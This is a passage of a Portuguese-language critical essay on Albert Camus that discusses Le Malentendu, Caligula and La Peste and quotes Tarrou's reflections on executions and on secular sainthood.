acreditado ter-se tornado um herói. Infeliz, era nosso amigo, agora esta
felicidade cerebral nos deixa frios: pensávamos estar amando um homem, não
passava de um filósofo.

O
mal-entendido de existir

Na obra de Camus, haverá, doravante, de um lado
a experiência da miséria humana e do outro a afirmação, a reivindicação de um
mundo que esteja à medida do homem; de um lado o mundo do condenado à morte e
do outro a apoteose do homem de pé, a obstinada glorificação do ato de viver.

A história é quase sempre a mesma — e os heróis
quase sempre permutáveis. A desgraça atira-se, imprevisível, sobre uma
humanidade descuidada. Aqui está, por exemplo, o tema do Mal -entendido: "Um
homem tinha saído de uma aldeia tcheca em busca da fortuna. Ao cabo de vinte e
cinco anos, rico, regressou com uma mulher e um filho. Sua mãe dirigia, com
a irmã, um hotel na aldeia natal. No intuito de surpreendê-las, ele… fora à
casa da mãe que não o reconheceu… Por brincadeira teve a idéia de alugar um
quarto. Mostrara seu dinheiro. De noite, a mãe e a irmã o assassinaram…

Este assunto de noticiário policial é a chave da obra de
Camus: um mal-entendido irreparável entre o homem e o mundo. Na peça que tem
este nome, Camus exprimiu-o sob uma forma definitiva, que não deixa lugar a
nenhuma esperança: devido ao fato, a obra perde em credibilidade e também em
verdade humana; os personagens são abstrações. Cenicamente, a peça foi um
fiasco. Mas a sua conclusão não carece de interesse: é aquela do primeiro
Camus, do Camus da revolta absurda, da esperança gelada, da vida sem janelas:
"Não se pode chamar de pátria, não é mesmo, esta terra densa, privada de
luz onde a gente vai alimentar animais cegos, exclama Marta com violência. —
Para que este grande apelo do ser, este alerta das almas? Para que gritar em
direção ao mar ou ao amor? Isto é irrisório. Seu marido conhece agora a
resposta, esta casa medonha onde estaremos enfim apertados uns contra os
outros… Compreenda que a sua dor não se igualará jamais à injustiça que fazem
ao homem.~ Rogue ao seu Deus que os faça semelhantes à pedra… é a única
felicidade autêntica". Do Mal-entendido a Calígula, passamos
do absurdo ao barroco, de uma peça negra a um drama com reflexos cor-de-rosa. O
tema: o do herói absurdo, embriagado por uma liberdade sem limites. Para a
história, foi Nero (Nero cuja última palavra, caso se possa acreditar em
Suetonio, teria sido: Qualis artifex pereo! Para Camus, é Calígula, o
louco, que mandava prestar honras consulares ao seu cavalo e cuja divisa ficou
famosa: Oderint, dum metuant!

De resto Camus pouco se incomoda com a verdade
histórica (Calígula não se teria tornado feroz senão em conseqüência de uma
meningite); o importante é que possa encarnar em Calígula, alternadamente, a
criança amuada e caprichosa, o potentado oriental, o carrasco sádico, a
obsessão de uma liberdade absurda: "Este mundo, tal como foi feito, é
insuportável. Tenho, pois, necessidade da lua ou
da felicidade, ou da imortalidade, de algo que talvez seja loucura, mas que não
seja deste mundo".

Ele encontrou em seu caminho "uma verdade muito simples
e difícil de carregar": os homens morrem e não são felizes. É esta
a verdade que deseja ensinar aos seus irmãos a fim de que aprendam a morrer,
desesperados mas lúcidos. Mas acredita encontrar um povo agradecido; entretanto
ele somente provoca ódio e revolta; "por toda parte a mesma opressão do
futuro e do passado" o acompanha; as criaturas que matou envenenam a sua
solidão. Acreditou arrancá-las pela violência à sua horrível segurança, lá onde
bastaria um pouco de amor. Em breve, ante um império juncado de mortos, ele
compreenderá que a solução não é matar, e nem sequer encontrará um juiz
"neste mundo onde ninguém é inocente". O crime lógico não é uma solução.
Neste sentido Calígula marca um limite na obra de Camus. O que ele pedia à
morte e à tortura, Camus vai agora pedir… à santidade.

A
Peste, alegoria do nosso tempo

Conhece-se o caminho percorrido por A Peste (junho
de 1947): em seis meses o que A Condição Humana tinha gasto quinze anos
a percorrer. Viu-se neste livro um testemunho essencial prestado sobre a nossa
época e a audiência ultrapassou rapidamente nossas fronteiras.

O que impressiona, para dizer a verdade, na leitura deste
documento, é ao mesmo tempo sua necessidade e as fraquezas da moralidade da
fábula. Certamente é mais difícil animar uma polifonia romanesca que uma novela
melódica como O Estrangeiro, cuja tonalidade sustenta-se por si mesmo.
Mas A Peste mostra a que ponto Camus era destituído dos dons que fazem o
romancista de imaginação. Frio, fome, miséria, amor, doença, morte, alegria,
nele deixam de ser estados naturais do homem para se tornarem mitos. Este
escritor, que freqüentemente tem sido alinhado entre os existencialistas, é um
romancista mais essencialista que Balzac. Os personagens de O Estrangeiro, como
os de A Peste serão estereotipados; o padre Paneloux nada mais é que um
jesuíta, quer dizer o apologista de uma verdade que se recusa a apresentar-se
como tal; o mesmo acontece com o juiz e o prefeito.

O que impressiona ainda é a dificuldade que
experimenta Camus de aproximar-se da realidade: ele precisa de uma cena nua, e
de heróis sem vestimentas. Os corpos parecem atrapalhá–lo, ele quereria que
escutássemos somente as idéias. Encontra-se em A Peste esta espécie de inumanidade inata que, no fundo, constituía o
verdadeiro crime de Mersault. Contudo, Camus esforçou-se: documentou-se a fim
de escorar sua história. Evoca Atenas empestada e abandonada pelos pássaros,
cidades chinesas atulhadas de agonizantes silenciosos, os presidiários empilhando
em covas os cadáveres molhados". Ele coloca tais devastações em uma cidade
em que viveu e que menciona, em uma época que é a nossa, "em 194… em
Orã". Confessa que é feia "uma cidade sem pombos e sem jardins, onde
não se ouve nem o bater de asas, nem o farfalhar das folhas, um lugar neutro,
para dizer tudo". Mas não há lugar neutro para um romancista bem dotado :
de uma aldeia deserta, com as janelas fechadas devido ao verão, onde ele passou
apenas um dia, Sartre soube dar–nos uma inesquecível visão de Argos.

Apenas ficaremos sabendo qual a estatura do
doutor Rieux, a cor de seus olhos, o corte de suas roupas; não veremos nenhum
dos habitantes de Orã: são fantasmas sem rosto (apenas o juiz Othon é um pouco
caricatural), todos sujeitos à mesma sorte por um mal anônimo, implacável e
absurdo. Mas a sua vida é descrita com uma minúcia alucinante, com uma arte que
por ser pobre de meios não é menos evocadora: assim, nesta crônica, afastada do
realismo, reaparece a verdade das grandes linhas: liberdade para cada um de nós
de corrigir detalhes, de pendurar roupas nas janelas, cachos de homens
agarrados aos balaústres dos bondes, anúncios multicores nas paredes; à falta
de cenários temos ao menos o arcabouço, seu terrível arcabouço de sinais que
não enganam de maneira alguma.

Sim, A Peste não é senão uma alegoria,
mas é a alegoria do nosso tempo e nossos    contemporâneos nela se reconheceram
imediatamente. Eram a ocupação alemã e o universo concentra-cionário, a bomba
atômica e as perspectivas de uma terceira guerra mundial, a idade inumana: a do
Estado-Deus, da máquina soberana, da administração irresponsável. Então o anonimato
de A Peste adquire todo o seu sentido: os personagens são aqueles de
todos os dias, seus rostos são os nossos, são a multidão dos condenados à
morte.

O livro é o diário de uma testemunha: o doutor Rieux.
Crônica de um médico, precisa, despojada, que foge ao lirismo, ainda que sob a
forma de protesto lírico. Reencontramos os marcos que balizaram a vida de
Mersault: a mulher de Rieux, tuberculosa, deixa-o, os ratos morrem, as febres
suspeitas aparecem. Encontramos também os patamares que nos levam a acreditar
que o mal vai parar, a retomar o fôlego, a viver quase em boa harmonia com esta
morte que se tornou familiar, que se contenta em levar seus cento e cinqüenta
mortos por semana.

A cidade não mudou muito durante a peste: libertada do
flagelo, vai logo encontrar suas ocupações, seus dias e seus prazeres absurdos:
mas os seus melhores habitantes aprenderam a conhecer o mal que os minava, a
lutar contra ele. Tarrou, que vai morrer, di-lo a seu amigo Rieux: "Eu já
estava com a peste antes de conhecer esta cidade e esta epidemia… Mas há
pessoas que não o sabem ou que se encontram exatamente nesse estado… Eu
sempre quis sair dela…"

Um dia o pai de Tarrou, advogado, levou o filho
para assistir a uma execução. Então, bruscamente, a revolta nasceu na alma do
filho: "Nunca vistes fuzilar um homem?… O resultado é que ficaste nas
gravuras e nos livros. Uma venda, um poste, ao longe, alguns soldados. Pois
bem, não! Sabeis que se o condenado desse dois passos à frente se chocaria com
os fuzis apontados contra seu peito? Sabeis que a uma distância tão pequena os
soldados concentram o tiro sobre o coração e que eles, com suas balas, fazem um
buraco no qual se poderia meter a mão? Não, .não o sabeis, pois são detalhes
nos quais não se fala. O sono dos homens é mais sagrado que a vida para os
pestíferos. Não se deve impedir a gente boa de dormir. Compreendi então

 

que jamais deixei de ser um pestífero… que
indiretamente tinha subscrito a morte de milhares de homens… Os outros não
pareciam muito incomodados com isso… eles me davam razões muitas vezes
impressionantes…"

Meu papel, em todo caso, não era o raciocínio.
Era essa suja aventura… onde um homem preso aos grilhões ia morrer… após
noites e noites de agonia, durante as quais esperava ser assassinado, de olhos
abertos… E eu me dizia, enquanto esperava, que me recusaria a dar jamais uma
única razão,uma única, entendeis, a esta nojenta carnificina… Sim, escolhi
esta cegueira obstinada, ao esperar ter uma visão mais clara …Eis"
porque esta epidemia nada me ensina a não ser que é necessário combatê-la Sei
com toda certeza que cada um traz ela dentro de si, a peste. O micróbio é que é
natural … O homem honesto, aquele que não contamina quase ninguém, é o que
tem o menor número possível de distrações. A partir do momento em que renunciei
a matar, condenei-me a um exílio definitivo. São os outros que farão a história
… há, nesta terra, calamidades e vítimas, e é preciso, tanto quanto possível,
recusar-me a ficar do lado da calamidade…"

E Tarrou conclui assim este longo monólogo:
"Deveria, certamente, existir uma terceira categoria, a dos verdadeiros
médicos, mas o fato é que não se encontram muitos e que deve ser muito difícil.
Eis porque resolvi colocar-me do lado das vítimas, em qualquer ocasião, para
limitar os prejuízos".

E
possível ser um santo sem Deus?

Mas Tarrou irá mais longe, ainda, entregar-se ao
novo amigo ao fim deste passeio, durante o qual ele é, ainda por alguns dias,
um ser vivo. "Em suma", confessa com muita simplicidade, "o que
me interessa é saber como se tornar um santo". E como Rieux replica:
"Justamente. É possível ser um santo sem Deus, é o único problema concreto
que conheço hoje."

 

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